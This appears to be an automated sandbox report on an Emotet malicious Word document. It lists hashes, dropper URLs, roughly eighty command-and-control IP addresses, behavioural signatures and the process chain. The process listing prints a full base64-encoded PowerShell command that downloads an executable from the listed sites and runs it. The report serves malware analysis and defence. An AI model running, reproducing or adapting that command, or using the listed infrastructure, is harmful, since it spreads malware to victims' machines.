Analysis
- max time kernel
135s - max time network
135s - platform
windows10_x64 - resource
win10v200722 - submitted
13/08/2020, 07:16
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_62bccc5bd759b583f0c058e39d5e3f5217b977d8a5e9fec39b4077847010df1d_2020-08-13__071343._doc.doc
Resource
win7v200722
General
- Target emotet_e2_62bccc5bd759b583f0c058e39d5e3f5217b977d8a5e9fec39b4077847010df1d_2020-08-13__071343._doc.doc
- Size 228KB
- Sample200813-sgnktb587e
- SHA256 62bccc5bd759b583f0c058e39d5e3f5217b977d8a5e9fec39b4077847010df1d
- MD5 82a558b427fdce28b74d99d92a1d06b7
- SHA1 e3866bd20c0a9749002f53dc80bc9757e84e3478
- SHA512 87ef60a1ba4827313acd775a9d110cb51bdacccb655579cc7134ffcbc5c7b98973cc8ec68007a0161d3f1205433390a15af0962b7da453df0800032076d7abf4
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://katebayless.com/lc5_146_ekvvs/
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exe.dropper
http://maxsoft.cz/ajnt_e7v_uyoi/
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exe.dropper
http://juniorsplayground.net/q_9q9g8_wf/
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exe.dropper
http://muliarental.com/65l_1po_7v7k0864m/
-
exe.dropper
http://morlo.net/cgi-bin/4kg_v47_gs79hfwr5u/
Extracted
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emotet
-
174.102.48.180:80
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192.210.135.126:8080
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67.205.85.243:8080
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47.146.32.175:80
-
116.203.32.252:8080
-
189.212.199.126:443
-
72.12.127.184:443
-
180.92.239.110:8080
-
103.86.49.11:8080
-
181.230.116.163:80
-
157.147.76.151:80
-
74.120.55.163:80
-
121.124.124.40:7080
-
79.98.24.39:8080
-
142.105.151.124:443
-
167.86.90.214:8080
-
24.179.13.119:80
-
62.138.26.28:8080
-
165.165.171.160:8080
-
74.208.45.104:8080
-
2.58.16.85:7080
-
91.211.88.52:7080
-
183.101.175.193:80
-
95.179.229.244:8080
-
107.185.211.16:80
-
157.245.99.39:8080
-
83.169.36.251:8080
-
104.236.246.93:8080
-
110.145.77.103:80
-
190.160.53.126:80
-
190.55.181.54:443
-
87.106.136.232:8080
-
76.27.179.47:80
-
104.131.11.150:443
-
168.235.67.138:7080
-
153.126.210.205:7080
-
47.153.182.47:80
-
87.106.139.101:8080
-
209.182.216.177:443
-
51.75.33.120:8080
-
85.152.162.105:80
-
169.239.182.217:8080
-
46.105.131.79:8080
-
209.143.35.232:80
-
152.168.248.128:443
-
201.173.217.124:443
-
204.197.146.48:80
-
199.101.86.142:8080
-
114.146.222.200:80
-
113.160.130.116:8443
-
70.167.215.250:8080
-
176.111.60.55:8080
-
47.146.117.214:80
-
47.144.21.12:443
-
200.41.121.90:80
-
137.59.187.107:8080
-
93.51.50.171:8080
-
139.130.242.43:80
-
85.105.205.77:8080
-
109.74.5.95:8080
-
37.139.21.175:8080
-
62.75.141.82:80
-
5.39.91.110:7080
-
222.214.218.37:4143
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185.94.252.104:443
-
24.137.76.62:80
-
203.153.216.189:7080
-
24.43.99.75:80
-
41.60.200.34:80
-
78.24.219.147:8080
-
61.19.246.238:443
-
104.131.44.150:8080
-
119.198.40.179:80
-
37.187.72.193:8080
-
139.59.60.244:8080
-
5.196.74.210:8080
-
181.211.11.242:80
-
209.141.54.221:8080
-
173.62.217.22:443
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83.110.223.58:443
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81.2.235.111:8080
-
95.213.236.64:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 636 3352 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2540-14-0x0000000002390000-0x000000000239C000-memory.dmp emotet behavioral2/memory/2540-14-0x0000000002390000-0x000000000239C000-memory.dmp emotet behavioral2/memory/2728-17-0x0000000002180000-0x000000000218C000-memory.dmp emotet behavioral2/memory/2728-17-0x0000000002180000-0x000000000218C000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 8 636 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2540 82.exe 2728 dimsroam.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\scansetting\dimsroam.exe 82.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3180 WINWORD.EXE 3180 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 636 powersheLL.exe 636 powersheLL.exe 636 powersheLL.exe 2728 dimsroam.exe 2728 dimsroam.exe 2728 dimsroam.exe 2728 dimsroam.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 636 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3180 WINWORD.EXE 3180 WINWORD.EXE 3180 WINWORD.EXE 3180 WINWORD.EXE 3180 WINWORD.EXE 3180 WINWORD.EXE 3180 WINWORD.EXE 3180 WINWORD.EXE 3180 WINWORD.EXE 2540 82.exe 2540 82.exe 2728 dimsroam.exe 2728 dimsroam.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 636 wrote to memory of 2540 636 powersheLL.exe 74 PID 636 wrote to memory of 2540 636 powersheLL.exe 74 PID 636 wrote to memory of 2540 636 powersheLL.exe 74 PID 2540 wrote to memory of 2728 2540 82.exe 76 PID 2540 wrote to memory of 2728 2540 82.exe 76 PID 2540 wrote to memory of 2728 2540 82.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_62bccc5bd759b583f0c058e39d5e3f5217b977d8a5e9fec39b4077847010df1d_2020-08-13__071343._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3180
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABOAEMAUwBXAE0AaAB0AHgAPQAnAFEATwBQAEUAVQByAHIAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAGAAVQBSAEkAdABZAGAAUAByAG8AdABvAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUABQAFMAQQBPAGkAdwByACAAPQAgACcAOAAyACcAOwAkAEQARwBLAEQARwByAHIAZQA9ACcAVABZAEEAWgBDAHkAdgBlACcAOwAkAEMARwBJAEkARQBzAHIAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUABQAFMAQQBPAGkAdwByACsAJwAuAGUAeABlACcAOwAkAEYAVABBAE8ARwBvAGEAaAA9ACcATABWAEEASgBBAGcAawBuACcAOwAkAEsASgBTAEMAWQB5AHEAaQA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAQgBjAEwAaQBlAE4AdAA7ACQATQBLAEQAVgBDAHYAaAB1AD0AJwBoAHQAdABwADoALwAvAGsAYQB0AGUAYgBhAHkAbABlAHMAcwAuAGMAbwBtAC8AbABjADUAXwAxADQANgBfAGUAawB2AHYAcwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAeABzAG8AZgB0AC4AYwB6AC8AYQBqAG4AdABfAGUANwB2AF8AdQB5AG8AaQAvACoAaAB0AHQAcAA6AC8ALwBqAHUAbgBpAG8AcgBzAHAAbABhAHkAZwByAG8AdQBuAGQALgBuAGUAdAAvAHEAXwA5AHEAOQBnADgAXwB3AGYALwAqAGgAdAB0AHAAOgAvAC8AbQB1AGwAaQBhAHIAZQBuAHQAYQBsAC4AYwBvAG0ALwA2ADUAbABfADEAcABvAF8ANwB2ADcAawAwADgANgA0AG0ALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHIAbABvAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8ANABrAGcAXwB2ADQANwBfAGcAcwA3ADkAaABmAHcAcgA1AHUALwAnAC4AIgBTAHAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAWQBMAEYAVQBjAHUAZAA9ACcAUQBQAE4ARwBZAG4AYwBpACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAE4ASQBWAFQAbwBpAGcAIABpAG4AIAAkAE0ASwBEAFYAQwB2AGgAdQApAHsAdAByAHkAewAkAEsASgBTAEMAWQB5AHEAaQAuACIAZABPAFcATgBgAEwAbwBBAGQARgBJAGAATABFACIAKAAkAFUATgBJAFYAVABvAGkAZwAsACAAJABDAEcASQBJAEUAcwByAHYAKQA7ACQATABPAEEAVwBEAHkAYwBnAD0AJwBaAEsAWQBVAE8AbwBvAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDAEcASQBJAEUAcwByAHYAKQAuACIAbABFAGAATgBgAGcAVABIACIAIAAtAGcAZQAgADIANAA2ADkAMwApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABDAEcASQBJAEUAcwByAHYAKQA7ACQAQQBZAFkAVQBEAGoAawBzAD0AJwBGAFcATgBHAFIAeQB6AHkAJwA7AGIAcgBlAGEAawA7ACQARwBWAE0AQwBPAHQAdQBzAD0AJwBWAEEAWQBSAEcAaAB6AGkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBVAFcATQBTAGcAYgBiAD0AJwBMAEQARwBXAFAAcQBlAG0AJwA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Users\Admin\82.exe"C:\Users\Admin\82.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Windows\SysWOW64\scansetting\dimsroam.exe"C:\Windows\SysWOW64\scansetting\dimsroam.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2728
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